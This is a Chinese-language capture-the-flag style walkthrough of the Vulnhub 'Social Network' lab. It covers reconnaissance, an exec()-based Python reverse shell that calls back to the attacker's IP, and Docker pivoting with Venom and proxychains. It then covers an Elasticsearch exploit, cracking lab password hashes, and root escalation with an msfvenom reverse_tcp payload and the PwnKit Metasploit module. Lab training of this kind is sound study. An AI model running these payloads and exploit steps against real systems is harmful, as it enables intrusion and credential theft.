靶机:https://www.vulnhub.com/entry/boredhackerblog-social-network,454/
参考:Vulnhub靶机:BOREDHACKERBLOG: SOCIAL NETWORK_boredhackerblog系列-CSDN博客
需要使用virtualbox。
先去官网下载了最新版的vietualbox,以及把这个镜像文件下载下来
然后管理-导入虚拟电脑,我这里直接修改了这个文件地址,将文件地址修改为自己设置的文件夹
加载好了就是这样的
网卡我这里选择的是无线WIFI的那个网卡
是没有密码的,这个时候环境就已经搭建起来了,可以进行渗透测试了
确保kali和靶机是一个网卡也就是在同一个网段
首先发现一下主机,使用netdiscover,有一说一这个命令我之前还没有使用过。 netdiscover 是一个网络工具,用于扫描本地网络以发现活跃的设备。它使用 ARP 协议(地址解析协议)来检测网络上的设备,可以显示每个设备的 MAC 地址和 IP 地址。 -i 指定网卡 -r指定ip段
sudo netdiscover -i eth0 -r 192.168.1.0/24
出现这个PCS Systemtechnik GmbH就是靶机的特征
所以靶机ip 192.168.1.179 kal:192.168.1.122
然后使用nmap做一波信息收集,也可以使用rustscan进行,我看推荐和这个工具对于扫描端口比nmap快很多而且也可以联动nmap。工具当然要与时俱进
nmap -p- 192.168.1.179 //扫描开放的端口
rustscan -g -a 192.168.1.179
nmap -p22,5000 -A 192.168.1.179 //查看主机和端口的一些信息
rustscan -a 192.168.1.179 -p 22,5000 -- -A
可以看到开放了ssh和5000,是个python的web服务,并且主机是Ubuntu系统的
思考一下思路,ssh爆破或者是web上面找漏洞,估计是web上面找漏洞打
访问网站是一个匿名留言
随意输入一点内容发现他会将内容展示到页面上面
思考考点,有输入框,可能存在xss,SQL注入,python的话还很有可能存在SSTI,同时做一下目录扫描,信息收集要做全。一般我使用dirsearch扫描目录
kali这上面的火狐好像没有安装什么插件,看着挺难受的,用我自己的谷歌探测到flash框架
使用dirsearch发现存在admin目录
页面简单测试了一下好像没有明显的问题,看看admin,存在一个测试代码的地方
用来测试python的代码还是用来执行命令的?说是使用exec()去执行,你别说我还不怎么了解exec()。。。去看一下资料,exec是代码执行
简单的输入print 'Hello, World!' 好像也没有将代码执行的结果返回
应该是无回显的执行行为,但这里很清楚的写了是exec的执行所以尝试新的反弹shell,当然一般来说可以先ping一个dnslog看是否执行了命令
反弹shell生成器
[~]#棱角 ::Edge.Forum*
好像这几个payload有些用的会出问题
payload:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.122",4455));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
有时间可以换为/bin/bash 因为有些环境的这个shell可能没有
权限是root?这么高?
不对,查看当前目录发现有个dockerfile文件?很有可能此时在docker容器里面
怎么判断是否在docker里面呢
ls -al / 有这个东西绝对是在docker环境中了
或者其他方法
cat /proc/1/cgroup 全是docker的进程
那么接下来该怎么办?docker逃逸?
先信息收集一下吧
看看docker的ip地址
ip 172.17.0.3
思考:此时要么想办法逃逸docker 要么通过此docker容器做一个跳板机看看这个内部还有什么东西的存在,说不定有些只有本地才可以访问的服务开启了。
探测存活ip 172.17.0.3/16
很明显docker里面没有nmap,最好的手段的是ping探测但是一个一个去ping这个网段明显不显示,这时候需要手动写一个简单的shell脚本来帮助检测
for i in $(seq 1 20); do ping -c 1 -W 1 172.17.0.$i; done
完整:
for net in {0..255}; do for host in {0..255}; do ip="172.16.$net.$host"; ping -c 1 -W 1 "$ip" &>> ~/ping_results.txt;done; done
如果是单独的24网段就会快很多这里是16网段用ping实在是太慢了,这里看网上的wp值探测20个就可以。
for i in {1..254};do ping -c 1 -W 1 192.168.1.$i ;done
探测了一波1、2、3存活,其他都是loss
不对,有问题,后面这里要做代理转发,为什么不提前直接做代理转发,那么不直接可以使用kali的nmap对内网进行扫描了吗。。。不过也确实有意思,虚拟机中的虚拟机形成的内网环境
工具venom:
这个工具我没有用过,平时做的代理都是cs木马自带的转发或者用的frp或者nps
GitHub - Dliv3/Venom: Venom - A Multi-hop Proxy for Penetration Testers
help # 打印使用帮助
exit # 退出
show # 显示网络拓扑
getdes # 显示
target结点的描述
setdes [info] # 添加对
target结点的描述
goto [id] # 选取一个要操作的 target结点.
listen [lport] # 在 target结点上监听一个端口
connect [rhost] [rport] # 通过 target结点连接一个新节点
sshconnect [user@ip:port] [dport] # 通过ssh隧道连接一个新节点
shell # 获取target节点的交互式
shell upload [local_file] [remote_file] # 上传文件到 target结点
download [remote_file] [local_file] # 从target结点下载文件
socks [lport] # 从target节点的lport端口建立一个socks5代理
lforward [lhost] [sport] [dport] # 将本地端口转发到远程
rforward [rhost] [sport] [dport] # 将远程端口转发到本地
还区分32位和64位的使用,先去容器上面看一下是几位的
uname -a 这里是64位的
开启kali上面的http服务将agent_linux_64位传过去,我这里直接是用的apache服务,并将文件重命名为agent
看手册说agent还可以端口复用666啊。
kali开启服务端监听9999端口等待容器的连接
agent主动连接kali服务端
这个奇怪的图案是他的网络连接图
show命令显示网络拓扑
A表示admin节点,数字表示agent节点。下面的拓扑图表示,admin节点下连接了1节点
goto 进入某个节点操作
socks 建立到某节点的socks5代理
配置socks代理转发,这个是默认的sock5代理
然后使用代理proxychains4 先修改一下配置文件
vim /etc/proxychains4.conf
很奇怪,挂了代理并没有连接上去?不知道是为什么。看了一下对外连接的端口情况好像9999端口并没有和192.168.1.179建立连接???
然后直接把shell搞掉了。。。而且不知道为什么反弹不上来了。。。奇奇怪怪反弹上来但是没有那个shell的界面
重启靶机,顺便在kali上面测试了一下是不是venom在复制的时候出问题了,ok测试完没有问题。。。
果然是的。。。重启一下靶机就可以了,如果是真实环境不是寄了。。。
果然有问题,也不知道是哪里出了问题,重来一遍又好了 ,我这里重新编辑了一下代理的端口为1080,能ping通docker的内网的内部地址就没有没有问题了。
继续收集172.17.0.1和0.2上面的信息
proxychains4 rustscan -g -a 172.17.0.1
用了这个代理会把连接信息也打印到屏幕上面看的我眼睛要瞎了,因为会打印导致执行命令的速度也变慢了
奇怪可能是太快的导致使用rustscan值扫描出了22端口。。。
还是用nmap -Pn -sT 172.17.0.1 Pn表示跳过主机发现,sT表示使用tcp的方式探测,但是这个方式只会扫描部分端口,实际的情况我认为还是得扫描全部端口,当然全部端口的扫动静会很大。
可以看到开放了22端口和500端口
这个时候挂代理去访问这个5000端口看看是什么
可以通过proxychains4启动火狐,也可以去修改代理选择这个对应的转发的端口。
启动得是普通用户才可以启动
对了这我又启动的,先访问原来192.168.1.179上面去输入点数据
可以看到同步刷新了
这说明这个172.17.0.1就是这个宿主机在这个网段的ip地址。一般情况下也是会这样的,自己用vm的时候自己的宿主机都是.1的IP地址
继续扫描一下0.2看看有什么
9200,不太熟悉,继续看看细节
nmap -Pn -sT -p9200 -sV 172.17.0.2 -sV显示详细信息
原来是elasticsearch,可以在网上查看一下有什么历史漏洞
有比较多的漏洞,使用searchsploit 去寻找看是否有对应的漏洞
将漏洞利用脚本cp过来
cp /usr/share/exploitdb/exploits/linux/remote/36337.py ./36337.py
看一下源码分析是怎么利用的,看到提示是使用Python2那就运行一下
提示直接输入目标,这里不需要加端口刚才看源码的时候看到他自动添加了9200端口进去
可以看到直接就可以执行命令了,而是root权限
查看根目录的时候发现一个可疑的文件
发现存储着账号和密码的hash值
直接寻找在线的MD5解密网站
john:1337hack
test:1234test
admin:1111pass
root:1234pass
jane:1234jane
到了这一步web方面的渗透就结束了,这些账号密码可以拿着去登录ssh
全部账号测试了一遍只有john:1337hack 可以正常登录,而且是一个普通的权限,这个时候就需要思考提权了。
Linux的提权方式挺多的,一般来说显示通过提权脚本来帮助判断存在哪些提权漏洞,而且这个系统有点落后了Ubuntu14的版本
回顾一下提权的手法总结:Linux 提权总结
1、内核溢出漏洞
2、suid
3、计划任务启动项
这几个比较常见,平时都是纸上谈兵实际都没有什么地方使用过提权的一些操作
内核版本3.13.0-24-generic 相当古老了
这里我使用的linux-exploit-suggester去再靶机上面查询存在哪些可以利用的漏洞
除了这个linux-exploit-suggester还有其他的一些脚本也可以使用。开启一个http服务将这个脚本下载过去,并且移动都tmp目录下,为什么要移动到tmp目录下因为这个目录一般开放权限。有些目录普通用户是没有操作权限的。
Highly probable:评估的内核很可能受到影响,并且 PoC 漏洞利用很有可能不用在任何重大修改的情况下开箱即用
Probable:漏洞利用可能会起作用,但很可能需要定制 PoC 漏洞利用以适合目标使用
Less probable:需要额外的手动分析来验证内核是否受到影响
Unprobable:内核极不可能受到影响(漏洞利用不会显示在工具的输出中)
前面几个都是高可能性,wp里面是使用的这个overlayfs
使用的searchsploit查询是否存在这个内核版本的漏洞
searchsploit linux 3.13
既然如此那么也先使用这个exp
cp /usr/share/exploitdb/exploits/linux/local/37292.c ./
看一下exp的内容
有食用指南,是.c文件需要使用gcc编译
靶机上面没有gcc环境,而且像这种命令下载一般都是root权限才可以下载。所以只能先在kali上面编译好后然后丢到靶机上面去执行
这里我直接把这个坑提前说了,就是这个编译后的文件运行的时候任然会调用gcc命令,
fprintf(stderr,"creating shared library\n");
lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
write(lib,LIB,strlen(LIB));
close(lib);
lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
if(lib != 0) {
fprintf(stderr,"couldn't create dynamic library\n");
exit(-1);
}
这一段去执行一段gcc编译的行为,最后实际write(fd,"/tmp/ofs-lib.so\n",16); 也就是说我们手动创建一个这个.so文件放到这个目录下面也可以,这里可以直接在kali里面找到这个文件,这是msf中已经有的
删完就这样
然后编译一手
gcc -o exp 37292.c
将两个文件下载下来并且赋予执行权限
糟糕执行失败。生成的exp有问题
生成出来的文件大小和wp中的不太一致,我怀疑是因为我这是最新版的kali里面的gcc版本可能比较高之类的影响的。。
那就换其他的打使用脏牛的40839.c OK也有问题,版本不行
去网上找相关的资料,吊毛学校不知道搞什么飞机网又断了
kali 192.168.30.58 靶机 192.168.30.127
在网上看到了其他的一些文章
Vulnhub | Social Network 渗透靶机-安全客 - 安全资讯平台
我也去pull了一个Ubuntu的镜像去编译,按照他的步骤第一步的so文件都没有产生出来,他的意思就是先用这个.c文件单独将这个so文件生成出来,然后和前面的思路一样再编译一个c文件然后一起上传到靶机上面。
又看了一下其他的文章有直接使用msf那就开搞
首先先上线msf
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.30.58 lport=5555 -f elf -o ey.elf
将其放到靶机上
msf启动
显示出几个选第二个打
use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > show options
Module options (exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec):
Name Current Setting Required Description
---- --------------- -------- -----------
PKEXEC_PATH no The path to pkexec binary
SESSION yes The session to run this module on
WRITABLE_DIR /tmp yes A directory where we can write files
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.30.58 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 x86_64
View the full module info with the info, or info -d command.
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 1
session => 1
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
[*] Started reverse TCP handler on 192.168.30.58:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.azuwraeemxzx
[+] The target is vulnerable.
[*] Writing '/tmp/.xyvposa/tefwcmoedc/tefwcmoedc.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.xyvposa
[*] Sending stage (3045380 bytes) to 192.168.30.127
[+] Deleted /tmp/.xyvposa/tefwcmoedc/tefwcmoedc.so
[+] Deleted /tmp/.xyvposa/.xcaggggyeh
[+] Deleted /tmp/.xyvposa
[*] Meterpreter session 2 opened (192.168.30.58:4444 -> 192.168.30.127:57224) at 2024-05-12 06:05:01 -0400
meterpreter > getuid
Server username: root
成功提权到root权限
kali的网络突然掉了不知道怎么回事。。。重新连接一下,学校的网好了,换回原来的ip地址。。。
靶机ip 192.168.1.179 kal:192.168.1.122
没有问题成功拿下靶机
后:
本次是我的第一次打这种完整的靶机,周末两天除了上课就是在打靶。之前的打靶其实都是针对某一个漏洞进行复现,并没有形成一个完整的渗透的思路,希望通过大量的靶机训练可以形成渗透的思维。对于此次的靶机算是照着人家的wp进行了一遍复现,其中很多地方也学习到了很多知识点,列如本次的网络的整体情况,尤其是通过docker之间的跳板去打其他的docker。正好最近拿下了一台docker可以试试这种思路👍。可惜最后没有使用这个脏牛和overlayfs的漏洞实现提权。而是用的其他的方式,我看网上的说法都是Linux一般提权都是使用的脚本而不是msf这种平台自带的。msf这种平台还是多用于对Windows做渗透。
vulnhub的靶机我会保持每周至少一个的训练,wp会持续更新